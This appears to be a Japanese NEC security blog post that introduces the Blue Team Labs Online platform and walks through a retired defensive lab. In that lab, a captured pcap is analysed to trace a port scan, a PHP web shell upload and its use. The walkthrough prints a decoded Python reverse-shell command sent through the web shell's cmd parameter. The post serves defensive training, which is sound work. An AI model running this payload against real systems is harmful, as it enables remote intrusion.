サイト内の現在位置

トレーニングプラットフォーム「BLUE TEAM LABS ONLINE」のご紹介

NECセキュリティブログ

2022年2月10日

NECサイバーセキュリティ戦略本部セキュリティ技術センターの油布です。
今回は、サイバーセキュリティの防御に関するスキルの向上に役立つオンラインプラットフォーム「BLUE TEAM LABS ONLINE」と、実際にプラットフォーム上で学べるラボを1つ取り上げてご紹介します。

図1. BLUE TEAM LABS ONLINEのダッシュボード

BLUE TEAM LABS ONLINEとは

「BLUE TEAM LABS ONLINE」(以下、BTLO)は、BlueTeam用のスキル向上に役立つオンラインプラットフォームです new window[1]。このプラットフォームは、“トレーニングコンテンツ:「Hack The Box」を触り始めてみた[2]”で紹介した「Hack The Box」と同様、ラボと呼ばれる検証環境を用いてユーザは学習を進めます。
「Hack the box」同様、効率的に学ぶことができるように以下の環境が用意されています。

  • Retired Machine(いわゆる過去問)はWalkthroughが公開される
  • ユーザは、各問題に評価(問題の質・難易度)をつけることでき、それを参照できる
  • 各問題は、複数の質問(Question)で構成されており道標がある

ラボ上に用意されている問題には、以下の2種類があります。
Challenges:pcapファイルなどの調査に必要なファイルをダウンロードして、ローカルホストを用いて攻撃の痕跡を調査する問題
Investigations:ブラウザ上にあるホストを用いて、侵入検知、悪意のあるファイルの分析などを調査する問題
上記の問題は定期的に更新されます。Hack The Boxと同様、新しい問題はActive、古い問題はRetiredとなります。

Retired Machineの攻略紹介

BTLOの規約により、ActiveなMachineのWalkthroughを公開することは禁止されています。Retired Machine、かつ他プレイヤーと競うために必要なポイントの価値がなくなった後にWalkthroughを投稿することができます。
そのため今回は、Retired Machineの一つである「Network Analysis - Web Shell」の攻略紹介をします。

攻略アプローチは、「Network Analysis - Web Shell」のタスクに沿って進めていきます。

シナリオ

SOCで「社内のプライベートIPアドレスから別の社内システムへポートスキャンが始まった」というアラートをSIEMで受け取りました。このアクティビティが悪意のあるものかどうかを調査して判断してください。pcapファイルが提供されているため、任意のツールを使用して調査して下さい。
(原文)The SOC received an alert in their SIEM for ‘Local to Local Port Scanning’ where an internal private IP began scanning another internal system. Can you investigate and determine if this activity is malicious or not? You have been provided a PCAP, investigate using any tools you wish

Question

  • (1)
    What is the IP responsible for conducting the port scan activity?
    (ポートスキャンを行っているIPアドレスを探せ)
    ポートスキャンを行っているIPアドレスを調査するために、ダウンロードしたpcapファイルを分析します。分析する際にWireshark new window[3]を用います。
    Wiresharkは、「統計」>「対話」メニューから通信の統計状況を表示することができます。
図2. 通信の統計状況

IPアドレス「10.251.96.4」からIPアドレス「10.251.96.5」に対して、ポートスキャンを行っていることが確認できます。

  • (2)
    What is the port range scanned by the suspicious host?
    (ポートスキャンを実行されているポートの範囲は?)
    通信の統計状況を確認すると、ポートスキャンが行われているポート番号は、1から1024であると確認できます。
  • (3)
    What is the type of port scan conducted?
    (実行されたポートスキャンの種類は?)
    実行されたポートスキャンの種類は、送信元「10.251.96.4」でフィルタリングすると、「SYN」スキャンであることが確認できます。
図3. SYNスキャン
  • (4)
    Two more tools were used to perform reconnaissance against open ports, what were they?
    (あいているポートに対して、偵察するために使用された2つのツールは?)
    User-Agent文字列から使用されたツールを確認できることがあります。
    送信先であるIPアドレス「10.251.96.5」でどのようなトラフィックが流れているかを確認します。
    「ip.dst == 10.251.96.5 && http.user_agent」でフィルタをかけます。
図4. 使用されたツール「gobuseter3.0.1」

「User-Agent」のところで、「gobuseter 3.0.1」が使用されていることが確認できます。その他にも、「sqlmap 1.4.7」も使用されていることが確認できます。

  • (5)
    What is the name of the php file through which the attacker uploaded a web shell?
    (攻撃者がWebシェルをアップロードしたphpファイルの名前は何?)
    POSTリクエストで関連する「uploads.php」が見つかりました。
    「uploads.php」の詳細を見てみると、「referer」の部分で「editprofile.php」と確認できます。「editprofile.php」は、攻撃者がWebシェルをアップロードしたphpファイルだとわかります。
図5. editprofile.php
  • (6)
    What is the name of the web shell that the attacker uploaded?
    (攻撃者がアップロードしたWebシェルの名前は?)
    POSTメソッドのTCPストリームを確認します。
    「dbfunctions.php」というファイルが、攻撃者がアップロードしたWebシェルだと確認できます。
図6. TCPストリーム eq1270
  • (7)
    What is the parameter used in the web shell for executing commands?
    (コマンド実行のために使用されたパラメータは?)
    「dbfunction.php」の中身を見ると、コマンド実行のために使用されたパラメータも確認することができます。
図7. dbfunction.phpのパラメータ
  • (8)
    What is the first command executed by the attacker?
    (攻撃者が最初に実行したコマンドは?)
    送信元のIPアドレス「10.251.96.4」とHTTPリクエストメソッドGETでフィルタリングをします。
図8. IPアドレス「10.251.96.4」とGETメソッド

攻撃者が最初に実行するコマンドは「cmd=id」であること確認できます。

  • (9)
    What is the type of shell connection the attacker obtains through command execution?
    (攻撃者がコマンド実行により取得するシェル接続の種類は?)
    攻撃者が実行したコマンドの一つに、pythonスクリプトが使用されていることがわかります。
図9. 攻撃が実行されたpythonスクリプト

また、pythonスクリプトをデコードすると次のようになります。

GET/uploads/dbfunctions.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.251.96.4",4422));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-

図10. デコードされた図8のpythonスクリプト

このことから、この攻撃はpythonを用いたリバースシェルであることが確認できます。

  • (10)
    What is the port he uses for the shell connection?
    (シェル接続に使用しているポートは?)
    シェル接続に使用しているポートは、「s.connect(("10.251.96.4",4422));」からわかるように「4422」を使用していることが確認できます。

おわりに

本記事では、サイバーセキュリティの防御に関するスキルの向上に役立つオンラインプラットフォーム「Blue Team Labs Online」を紹介しました。
今回紹介したプラットフォームは、防御側に焦点を当てた学習コンテンツでした。このプラットフォームは、問題ごとに調査の進め方が明示されています。そのため、取り組みやすい学習コンテンツだと思います。ActiveなMachineに挑戦することは、自分の実力を知る機会となり、またRetiredを使って学習することは、Walkthroughなどを通して他の方のスキル等を学びにつながります。「Blue Team Labs Online」は、自身のスキル向上に活用できると思います。また過去にも、NECブログで紹介した「Hack the box[2]」や「CyberDefenders[4]」等もありますので、自分に合ったプラットフォームでぜひ挑戦してみてください。

参考情報

執筆者プロフィール

油布 翔平(ゆふ しょうへい)
セキュリティ技術センター リスクハンティングチーム

EDR製品の検証・インシデントレスポンス対応に従事。過去には脆弱性診断も担当

執筆者の他の記事を読む

アクセスランキング